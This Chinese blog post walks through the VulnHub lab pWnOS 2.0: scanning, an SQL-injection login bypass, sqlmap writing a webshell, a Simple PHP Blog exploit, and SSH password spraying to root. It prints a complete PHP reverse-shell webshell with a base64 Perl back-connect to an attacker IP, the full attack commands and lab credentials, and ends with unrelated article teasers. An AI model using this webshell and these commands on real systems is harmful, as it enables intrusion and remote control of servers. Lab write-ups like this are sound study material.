[VulnHub靶机渗透] pWnOS 2.0

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

一、前言

二、外围打点——信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

三、信息收集+渗透测试

1、web渗透测试

2、利用sqlmap上传木马,拿www-data权限

3、Simple PHP 框架漏洞利用,拿www-data权限

四、提权

1、常规提权操作+信息收集

3、crackmapexec密码碰撞

4、root权限


一、前言

靶机精讲之pWnOS 2.0,vulnhub靶机,简洁明快的攻击链,php+mysql架构cms渗透的样本。从利用选择、反弹shell获得,到信息搜集和枚举,以及mysql数据库的翻找,都可以算上php+mysql架构cms渗透的标准靶机,很多更复杂的渗透也是在此基础上的展开的,这台靶机是可以深入思考,形成思维框架的靶机。

需要注意的是,这个靶机我们下载下来,默认是个静态的IP:10.10.10.100,所以我们需要把我们的wmvare的虚拟网卡设置为10.10.10.0/24网段的地址。

你需要点击下面的更改设置,把网段设置为10.10.10.0/24网段的,因为我这里是NAT模式,所以该的是NAT模式的网段

改完之后,重启kali,就会发现我们的IP变成了10网段的了:

二、外围打点——信息收集

1、主机探测

通过利用arp进行主机探测,发现靶机的IP地址是10.10.10.100,其实我们开始也讲到了,这个靶机被打包下载的时候。默认IP就是10.10.10.100。

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

可以看到这台靶机只开放了22、80端口, 22的话一般靶机后面肯定都是用来利用ssh远程连接的,那么我们就需要信息收集账号密码了,web的80端口毫无疑问是首选的渗透测试方向。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 10.10.10.100

因为扫描发现的端口有点少,我们这里再利用nmap扫描UDP端口开放的情况

扫描发现,UDP端口没有什么有价值的端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sU --min-rate 10000 10.10.10.100

3、漏洞扫描

通过利用nmap的漏洞扫描库,扫描到这个靶机的登录页面和注册页面存在csrf,以及扫描到了一些目录,我们到时候可以尝试访问下。

┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 10.10.10.100

三、信息收集+渗透测试

1、web渗透测试

直接访问这个IP的80端口 ,是个静态的html页面,右边有注册和登录的页面,

看到这种登录框,我们首先可以尝试下弱口令登录,然后再尝试下是否存在sql注入,

我这里尝试输入单引号',然后发现页面报错,那么存在sql注入

然后我们再利用sql注入的万能密码尝试登录,发现成功登录进去了,但是里面内容没有任何回显,一直就是显示正在登录中,这个情况也很有可能是后台存在防火墙之类的防护设备,但是没关系,至少我们知道了这里存在sql注入漏洞。

admin'or'1'=1#

2、利用sqlmap上传木马,拿www-data权限

这里给大家提供一个很好用并且很稳定的反弹shell木马文件:

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "10.10.10.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

我们只需要修改下面两个参数就可以了,一个是监听的IP地址,还有一个就是监听的端口。

然后我们这里就可以利用sqlmap上传木马到靶机的指定目录位置,然后kali监听,浏览器访问木马所在的位置,点击木马,就可以拿到shell了。

我们先利用dirsearch扫描目录,看看有哪些目录上传点,比如:(/var/www,/var/www/includes,/var/www/blogs/images)

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100

我这里选择/includes目录下,木马上传到指定目录/var/www/includes/下了。

┌──(root💀kali)-[~/桌面]
└─# sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='webshell.php' --file-dest='/var/www/includes/webshell.php'

kali先监听,然后浏览器点击上传的木马,就可以看到反弹设立了成功了。

┌──(root💀kali)-[~/桌面]
└─# nc -lvvp 4444

3、Simple PHP 框架漏洞利用,拿www-data权限

我们前面进行的目录扫描以及漏洞扫描,都发现/blog目录,我们访问看下

我们可以看到,这个页面看着很老,就像是以前的老版本的某个CMS框架搭建的,所以我们可以利用whatweb或者其他工具进行查看下它是哪个cms框架搭建的。

我们可以看到存在Simple PHP Blog 0.4.0框架,你要是问我怎么就知道这个漏洞,其实不是说一眼知道的,比如我们在现实中进行渗透测试也是一样,信息收集过程中,碰到不会的信息,我们收集起来问chatgpt,然后上网检索,这里面的很多关键词我都上网查找了,当我检索Simple PHP Blog 0.4.0的时候,发现exp存在这个漏洞。

┌──(root💀kali)-[~/桌面]
└─# whatweb http://10.10.10.100/blog/

我们这里直接利用kali的searchsploit命令检索,然后再看看使用哪个exp进行渗透测试;

我们可以看到有两个,第一个是创建账户密码,第二个是利用这个exp可以执行cmd命令,我这里选择第一个,直接创建账户密码,然后登录后台,再进行下一步的渗透测试工作。

下载这个exp,然后看看这个exp的使用方法,要是看不懂的师傅,可以利用chatgpt或者上网查,都是可以查找到的!!!

┌──(root💀kali)-[~/桌面]
└─# searchsploit -m 1191.pl

这里就是这个exp的使用方式了,我们可以看到-e选择3,是可以创建用户密码的,那么我们就用这个命令执行exp。

插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。

apt install libswitch-perl

可以看到我们这里已经成功创建了用户名和密码了

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U routing -P 1234

我们成功登录进来了,并且我们发现这里有一个文件上传的功能点,我们尝试上传我们开始的webshell.php木马上去。

上传成功了,这个网站确实是老旧啊,一点过滤都没有.php木马直接就上传上去了,

木马上传成功了,那么我们目前就肯定得找到这个木马上传的位置,我们扫描看看这个目录下有哪些子目录之类的,扫描完毕,那就是挨个试目录了,后来发现木马上传到/blog/images/目录下

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100/blog/ -x 403

可以看到,我们的kali已经接收到了木马的反弹shell了。

python -c 'import pty;pty.spawn ("/bin/bash")'   //交互式shell

四、提权

1、常规提权操作+信息收集

我们一般拿到交互式shell,首先查看下注册表是否有定时任务之类的,然后查看下哪些有SUID提权以及sudo 提权,但是这里都不行,那么我们就需要在文件目录里面进行信息收集,查找下是否有什么有价值的信息,特别是账号密码之类的。

我们在网站根目录找到了数据库的登录账号密码

但是尝试mysql登录,没有登录成功,这里不应该,我猜测应该是作者故意留的假的账号密码,但是这个存在mysql数据库的账号密码文件应该是真实存在的,但是这个应该是障眼法,所以我们直接检索下,这个文件。

发现/var/目录下还确实有mysqli_connect.php文件,我们cat查看下

找到了mysql数据库的账号密码,我们再进行尝试登录,发现登录成功了


www-data@web:/var/www$ find / -name Hmysqli_connect.php 2>/dev/null
find / -name mysqli_connect.php 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php

查找mysql数据库里面的信息,发现账号密码,不过这里密码进行了加密,我们利用kali的hash嗅探工具进行检查下,看看是什么加密。

发现是SHA-1加密的,我们找个在线解密工具

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "c2c4b4e51d9e23c02c15702c136c3e950ba9a4af"

这个在线解密工具师傅们可以收藏下,这个网站有好多类型的解密,而且这个网站的库还很大,一般都可以解密出来。

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free onlineDecrypt and crack your MD5, SHA1, SHA256, MySQL, MD5 Email, SHA256 Email, and NTLM hashes for free online. We also support Bcrypt, SHA512, Wordpress and many more.icon-default.png?t=N7T8https://hashes.com/en/decrypt/hash

利用解密出来的两个账号密码进行ssh远程登录,发现都没有用,那么我们就需要收集更加多的账号密码进行密码碰撞。

3、crackmapexec密码碰撞

直接看下/etc/passwd下有哪几个用户更root用户的权限一样的,直接加入到user爆破字典中。

经过收集,我们的用户和密码的字典如下:

我们可以看到,这个 root:root@ISIntS账号密码不就是我们开始登录MySQL数据库的嘛,这其实也是我们现实中做渗透测试中常见的,就是很多地方,作者自己会把好几个账号密码都设置成一个。

┌──(root💀kali)-[~/桌面]
└─# crackmapexec ssh 10.10.10.100 -u user.txt -p passwd.txt --continue-on-success

4、root权限

恭喜我们成功拿到了root权限,这台靶机也就成功拿下了!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/518120.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

lora pingpang系统 4

1 深入了解LoRa技术原理 1.1 LoRa扩频通信原理 1.1.1 模拟无线通信&#xff1a; 模拟无线通信是一种使用模拟信号传输数据的通信方式。这种通信方式已经被数字无线通信所取代&#xff0c;因为数字通信具有更高的效率和可靠性。 天线&#xff1a;从空中接收到的无线电波转换成…

用友NC Cloud importhttpscer 任意文件上传漏洞复现

0x01 产品简介 用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云…

ViewModel 使用及原理解析

public final MutableLiveData mUserLiveData new MutableLiveData<>(); public UserModel() { //模拟从网络加载用户信息 mUserLiveData.postValue(new User(1, “name1”)); } //模拟 进行一些数据骚操作 public void doSomething() { User user mUserLiveDat…

【RMSNorm】Root Mean Square Layer Normalization

【RMSNorm】Root Mean Square Layer Normalization 论文信息 阅读评价 Abstract Introduction Related Work Background RMSNorm Experiments 论文信息 名称内容论文标题Root Mean Square Layer Normalization论文地址https://arxiv.org/abs/1910.07467发表时间2019-…

linux练习-交互式传参

在shell脚本中&#xff0c;read 向用户显示一行文本并接受用户输入 #!/bin/bash read -p 依次输入你的姓名、年龄、家乡 name age home echo 我是$name,年龄$age,我来自$home

12种常见的软件架构风格

什么是软件架构&#xff1f; 软件架构是定义软件系统的高级结构和组织的过程。它涉及识别和选择正确的组件&#xff0c;决定它们之间如何交互&#xff0c;以及确定它们应该如何组织以实现特定的目标。软件架构的目标是创建一个可维护、可扩展和安全的系统&#xff0c;能够满足…

小红书自动化仿写发文机器人了解一下

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。&#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精通…

权限认证SpringCloud GateWay、SpringSecurity、OAuth2.0、JWT一网打尽!

权限认证SpringCloud GateWay、SpringSecurity、OAuth2.0、JWT一网打尽 一、SpringCloud GateWay 1.它是如何工作的&#xff1f; ​ 客户端向 Spring Cloud Gateway 发出请求。如果Gateway处理程序映射确定一个请求与路由相匹配&#xff0c;它将被发送到Gateway Web处理程序。…

蓝桥杯第十四届--异或和之和

题目描述 给定一个数组 Ai&#xff0c;分别求其每个子段的异或和&#xff0c;并求出它们的和。或者说&#xff0c;对于每组满足 1 ≤ L ≤ R ≤ n 的 L, R &#xff0c;求出数组中第 L 至第 R 个元素的异或和。然后输出每组 L, R 得到的结果加起来的值。 输入格式 输入的第一…

基于ACO蚁群优化的VRPSD问题求解matlab仿真,输出规划路径结果和满载率

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 4.1 关键概念与模型 4.2数学模型 5.完整程序 1.程序功能描述 基于ACO蚁群优化的VRPSD问题求解matlab仿真,输出ACO优化的收敛曲线&#xff0c;规划路径结果和每一条路径的满载率。 2.测试软…

C# MES通信从入门到精通(8)——C#调用Webservice服务进行数据交互

前言 在上位机开发领域,使用webservice来访问客户的终端Mes系统是一项必备的技能,本文详细介绍了如何在c#中调用webservice服务,不仅介绍了使用添加服务引用直接调用webservice中的方法外还介绍了使用http的post方法调用webservice方法,过程详细且均为实战经验总结,对于初…

十个排序算法

目录 冒泡排序(Bubble Sort) 选择排序(Select Sort) 插入排序&#xff08;InsertSort&#xff09; 希尔排序&#xff08;ShellSort&#xff09; 计数排序&#xff08;CountSort&#xff09; 快速排序&#xff08;QuickSort&#xff09; 归并排序&#xff08;Merge Sort&a…

chatGPT4无法登录

遇到问题&#xff1a;chatgpt网站上点击登录&#xff08;log in),网站就会跳转并显示&#xff1a;unable to connect 解决方法&#xff1a;不要用亚洲节点&#xff0c;亚洲节点被全面封禁&#xff0c;在全局代理中可以换成美国的节点

故障诊断 | 一文解决,PLS偏最小二乘法的故障诊断(Matlab)

效果一览 文章概述 故障诊断 | 一文解决,PLS偏最小二乘法的故障诊断(Matlab) 模型描述 偏最小二乘法(Partial Least Squares, PLS)是一种统计建模方法,用于建立变量之间的线性关系模型。它是对多元线性回归方法的扩展,特别适用于处理高维数据和具有多重共线性的数据集。…

Idea显示无法自动装配。找不到‘ xxx’类型的Bean

虽然只标红&#xff0c;不报错&#xff0c;但是看着非常别扭&#xff01; 原因&#xff1a; 当我们在使用Autowired注解的时候&#xff0c;默认requiredtrue,表示注入的时候bean必须存在&#xff0c;否则注入失败。 解决方案一&#xff1a; 在自动转配的注解后面添加(require…

AcWing 788. 逆序对的数量——算法基础课题解

AcWing 788. 逆序对的数量 题目描述 给定一个长度为 n 的整数数列&#xff0c;请你计算数列中的逆序对的数量。 逆序对的定义如下&#xff1a;对于数列的第 i 个和第 j 个元素&#xff0c;如果满足 i<j且 a[i]>a[j]&#xff0c;则其为一个逆序对&#xff1b;否则不是。…

HTML基础知识详解(上)(如何想知道html的全部基础知识点,那么只看这一篇就足够了!)

前言&#xff1a;在学习前端基础时&#xff0c;必不可少的就是三大件&#xff08;html、css、javascript &#xff09;&#xff0c;而HTML&#xff08;超文本标记语言——HyperText Markup Language&#xff09;是构成 Web 世界的一砖一瓦&#xff0c;它定义了网页内容的含义和…

一点点金融 5

一点点金融 5 怎么判断是短期回撤&#xff0c;还是趋势反转&#xff1f;市场行为和价格波动背后的深层次原因是什么&#xff1f;1. 成交密度与价格区间2. 投资者心理与市场情绪3. 供需动态4. 价格波动的自我实现性挖掘技术策略的原理分析步骤交易策略实施风险管理 技术分析者怎…

深入探索MySQL:成本模型解析与查询性能优化,及未来深度学习与AI模型的应用展望

码到三十五 &#xff1a; 个人主页 在数据库管理系统中&#xff0c;查询优化器是一个至关重要的组件&#xff0c;它负责将用户提交的SQL查询转换为高效的执行计划。在MySQL中&#xff0c;查询优化器使用了一个称为“成本模型”的机制来评估不同执行计划的优劣&#xff0c;并选择…

获取天翼网关TEWA-708E超级管理员密码

Download RouterPassView 参考&#xff1a;破解光猫超级管理员密码&#xff08;网关型号&#xff1a;TEWA-708E&#xff09; - 知乎